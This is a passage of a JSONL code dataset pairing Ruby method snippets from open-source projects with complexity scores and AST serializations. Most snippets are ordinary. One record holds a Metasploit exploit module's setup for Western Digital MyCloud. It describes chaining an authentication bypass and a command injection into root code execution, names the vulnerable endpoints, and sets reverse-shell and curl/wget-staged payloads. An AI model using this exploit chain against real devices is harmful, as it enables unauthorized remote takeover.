add\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"pathspec\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"shell_escape\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Shell escapes paths (set to false if using wildcards or manually escaping spaces in :path)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"force\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Allow adding otherwise ignored files\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"pathspec\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The pathspec you want to add files from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deprecated\"]},{\"type\":\"str\",\"children\":[\"Use `--path` instead\"]}]}]}]}]}]}","id":"3d5ade12-6aac-4181-b996-9d9825831da0"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/testing/behavior.rb","start_line":95,"raw_source":"def ensure_current_path\n            cd current_path\n          end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_current_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"cd\",{\"type\":\"send\",\"children\":[null,\"current_path\"]}]}]}","id":"b84fe4e5-b462-4c8b-aa24-b0c7c85e3440"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/host.rb","start_line":837,"raw_source":"def refresh_user_groups(ssu)\n    xml = MiqXml.createDoc(:miq)\n    node = xml.root.add_element(:accounts)\n    MiqLinux::Users.new(ssu).to_xml(node)\n    Account.add_elements(self, xml.root)\n  rescue\n    # _log.log_backtrace($!)\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_user_groups\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ssu\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xml\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqXml\"]},\"createDoc\",{\"type\":\"sym\",\"children\":[\"miq\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"node\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"root\"]},\"add_element\",{\"type\":\"sym\",\"children\":[\"accounts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqLinux\"]},\"Users\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"ssu\"]}]},\"to_xml\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Account\"]},\"add_elements\",{\"type\":\"self\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml\"]},\"root\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,null]},null]}]}","id":"c2b3bde7-e065-4fee-8829-0399ebc5acbe"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib_static/redmine/diff/diffable.rb","start_line":115,"raw_source":"def patch(diff)\n    newary = nil\n    newary = if diff.difftype == String\n               diff.difftype.new(\"\")\n             else\n               diff.difftype.new\n             end\n    ai = 0\n    bi = 0\n    diff.diffs.each do |d|\n      d.each do |mod|\n        case mod[0]\n        when \"-\"\n          while ai < mod[1]\n            newary << self[ai]\n            ai += 1\n            bi += 1\n          end\n          ai += 1\n        when \"+\"\n          while bi < mod[1]\n            newary << self[ai]\n            ai += 1\n            bi += 1\n          end\n          newary << mod[2]\n          bi += 1\n        else\n          raise \"Unknown diff action\"\n        end\n      end\n    end\n    while ai < length\n      newary << self[ai]\n      ai += 1\n      bi += 1\n    end\n    newary\n  end","complexity_score":76.6,"ast_json":"{\"type\":\"def\",\"children\":[\"patch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"diff\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"newary\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"newary\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"difftype\"]},\"==\",{\"type\":\"const\",\"children\":[null,\"String\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"difftype\"]},\"new\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"difftype\"]},\"new\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ai\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"bi\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"diff\"]},\"diffs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"d\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newary\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ai\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ai\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bi\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ai\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"+\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bi\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newary\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ai\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ai\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bi\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newary\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bi\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"Unknown diff action\"]}]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ai\"]},\"<\",{\"type\":\"send\",\"children\":[null,\"length\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"newary\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"lvar\",\"children\":[\"ai\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ai\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bi\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvar\",\"children\":[\"newary\"]}]}]}","id":"2985ae98-c5b6-4463-a410-4c56abe6a583"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/code_statistics.rb","start_line":58,"raw_source":"def self.register_directory(label, path, test_directory: false)\n      self.directories << [label, path]\n      self.test_types << label if test_directory\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"register_directory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"label\"]},{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"kwoptarg\",\"children\":[\"test_directory\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"directories\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"label\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_directory\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"test_types\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},null]}]}]}","id":"d0ebbfba-9327-4008-bb34-587f33fea0f3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/ticket_enc_part.rb","start_line":184,"raw_source":"def encode_cname\n      cname.encode\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_cname\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cname\"]},\"encode\"]}]}","id":"caeefc32-98d3-43e1-9fb9-3c1b427b9984"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/rescuable_test.rb","start_line":69,"raw_source":"def looped_crash\n    ex1 = StandardError.new(\"error 1\")\n    ex2 = StandardError.new(\"error 2\")\n    begin\n      begin\n        raise ex1\n      rescue\n        # sets the cause on ex2 to be ex1\n        raise ex2\n      end\n    rescue\n      # sets the cause on ex1 to be ex2\n      raise ex1\n    end\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"looped_crash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ex1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},\"new\",{\"type\":\"str\",\"children\":[\"error 1\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ex2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]},\"new\",{\"type\":\"str\",\"children\":[\"error 2\"]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"ex1\"]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"ex2\"]}]}]},null]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"lvar\",\"children\":[\"ex1\"]}]}]},null]}]}]}]}","id":"12adab9d-9f6e-4853-8eb1-23eac8044b14"}
{"repo_name":"forem","file_path":"./repos/forem/app/queries/consumer_apps/find_or_create_by_query.rb","start_line":7,"raw_source":"def initialize(app_bundle:, platform:)\n      @app_bundle = app_bundle\n      @platform = platform\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"app_bundle\"]},{\"type\":\"kwarg\",\"children\":[\"platform\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@app_bundle\",{\"type\":\"lvar\",\"children\":[\"app_bundle\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@platform\",{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]}]}","id":"70a85710-6738-40fa-93d0-418210fb8773"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/lint/heredoc_method_call_position.rb","start_line":73,"raw_source":"def heredoc_node?(node)\n          node.respond_to?(:heredoc?) && node.heredoc?\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"heredoc_node?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"heredoc?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"heredoc?\"]}]}]}","id":"7e586b2c-7924-44cb-816f-0e7acbce0956"}
{"repo_name":"flog","file_path":"./repos/flog/lib/flog.rb","start_line":347,"raw_source":"def process_block(exp)\n    penalize_by 0.1 do\n      process_until_empty exp\n    end\n    s()\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"process_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"penalize_by\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"process_until_empty\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"s\"]}]}]}","id":"7e2f2dc2-a951-415c-b1e0-cc6226ac5d5c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/wd_mycloud_unauthenticated_cmd_injection.rb","start_line":13,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Western Digital MyCloud unauthenticated command injection',\n        'Description' => %q{\n          This module exploits authentication bypass (CVE-2018-17153) and\n          command injection (CVE-2016-10108) vulnerabilities in Western\n          Digital MyCloud before 2.30.196 in order to achieve\n          unauthenticated remote code execution as the root user.\n\n          The module first performs a check to see if the target is\n          WD MyCloud. If so, it attempts to trigger an authentication\n          bypass (CVE-2018-17153) via a crafted GET request to\n          /cgi-bin/network_mgr.cgi. If the server responds as expected,\n          the module assesses the vulnerability status by attempting to\n          exploit a commend injection vulnerability (CVE-2016-10108) in\n          order to print a random string via the echo command. This is\n          done via a crafted POST request to /web/google_analytics.php.\n\n          If the server is vulnerable, the same command injection vector\n          is leveraged to execute the payload.\n\n          This module has been successfully tested against Western Digital\n          MyCloud version 2.30.183.\n\n          Note: based on the available disclosures, it seems that the\n          command injection vector (CVE-2016-10108) might be exploitable\n          without the authentication bypass (CVE-2018-17153) on versions\n          before 2.21.126. The obtained results on 2.30.183 imply that\n          the patch for CVE-2016-10108 did not actually remove the command\n          injection vector, but only prevented unauthenticated access to it.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'Erik Wynter', # @wyntererik - Metasploit\n          'Steven Campbell', # CVE-2016-10108 disclosure and PoC\n          'Remco Vermeulen' # CVE-2018-17153 disclosure and PoC\n        ],\n        'References' => [\n          ['CVE', '2016-10108'], # command injection in /web/google_analytics.php via a modified arg parameter in the POST data.\n          ['CVE', '2018-17153'], # authentication bypass\n          ['URL', 'https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/'], # CVE-2018-17153 disclosure and PoC\n          ['URL', 'https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/'] # CVE-2016-10108 disclosure and PoC\n        ],\n        'DefaultOptions' => {\n          'RPORT' => 443,\n          'SSL' => true\n        },\n        'Platform' => %w[linux unix],\n        'Arch' => [ ARCH_ARMLE, ARCH_CMD ],\n        'Targets' => [\n          [\n            'Unix In-Memory',\n            {\n              'Platform' => [ 'unix', 'linux' ],\n              'Arch' => ARCH_CMD,\n              'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' },\n              'Type' => :unix_memory\n            }\n          ],\n          [\n            'Linux Dropper', {\n              'Arch' => [ARCH_ARMLE],\n              'Platform' => 'linux',\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp',\n                'CMDSTAGER::FLAVOR' => :curl\n              },\n              'Type' => :linux_dropper\n            }\n          ]\n        ],\n        'CmdStagerFlavor' => ['curl', 'wget'],\n        'Privileged' => true,\n        'DisclosureDate' => '2016-12-14', # CVE-2016-10108 disclosure date\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Stability' => [ CRASH_SAFE ],\n          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],\n          'Reliability' => [ REPEATABLE_SESSION ]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'The base path to WD MyCloud', '/']),\n    ])\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Western Digital MyCloud unauthenticated command injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits authentication bypass (CVE-2018-17153) and\\n\"]},{\"type\":\"str\",\"children\":[\"          command injection (CVE-2016-10108) vulnerabilities in Western\\n\"]},{\"type\":\"str\",\"children\":[\"          Digital MyCloud before 2.30.196 in order to achieve\\n\"]},{\"type\":\"str\",\"children\":[\"          unauthenticated remote code execution as the root user.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The module first performs a check to see if the target is\\n\"]},{\"type\":\"str\",\"children\":[\"          WD MyCloud. If so, it attempts to trigger an authentication\\n\"]},{\"type\":\"str\",\"children\":[\"          bypass (CVE-2018-17153) via a crafted GET request to\\n\"]},{\"type\":\"str\",\"children\":[\"          /cgi-bin/network_mgr.cgi. If the server responds as expected,\\n\"]},{\"type\":\"str\",\"children\":[\"          the module assesses the vulnerability status by attempting to\\n\"]},{\"type\":\"str\",\"children\":[\"          exploit a commend injection vulnerability (CVE-2016-10108) in\\n\"]},{\"type\":\"str\",\"children\":[\"          order to print a random string via the echo command. This is\\n\"]},{\"type\":\"str\",\"children\":[\"          done via a crafted POST request to /web/google_analytics.php.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          If the server is vulnerable, the same command injection vector\\n\"]},{\"type\":\"str\",\"children\":[\"          is leveraged to execute the payload.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been successfully tested against Western Digital\\n\"]},{\"type\":\"str\",\"children\":[\"          MyCloud version 2.30.183.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          Note: based on the available disclosures, it seems that the\\n\"]},{\"type\":\"str\",\"children\":[\"          command injection vector (CVE-2016-10108) might be exploitable\\n\"]},{\"type\":\"str\",\"children\":[\"          without the authentication bypass (CVE-2018-17153) on versions\\n\"]},{\"type\":\"str\",\"children\":[\"          before 2.21.126. The obtained results on 2.30.183 imply that\\n\"]},{\"type\":\"str\",\"children\":[\"          the patch for CVE-2016-10108 did not actually remove the command\\n\"]},{\"type\":\"str\",\"children\":[\"          injection vector, but only prevented unauthenticated access to it.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Erik Wynter\"]},{\"type\":\"str\",\"children\":[\"Steven Campbell\"]},{\"type\":\"str\",\"children\":[\"Remco Vermeulen\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2016-10108\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2018-17153\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.securify.nl/advisory/authentication-bypass-vulnerability-in-western-digital-my-cloud-allows-escalation-to-admin-privileges/\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://web.archive.org/web/20170315123948/https://www.stevencampbell.info/2016/12/command-injection-in-western-digital-mycloud-nas/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[443]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix In-Memory\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_bash\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"unix_memory\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_ARMLE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/armle/meterpreter/reverse_tcp\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CMDSTAGER::FLAVOR\"]},{\"type\":\"sym\",\"children\":[\"curl\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"linux_dropper\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"CmdStagerFlavor\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"curl\"]},{\"type\":\"str\",\"children\":[\"wget\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2016-12-14\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]},{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"p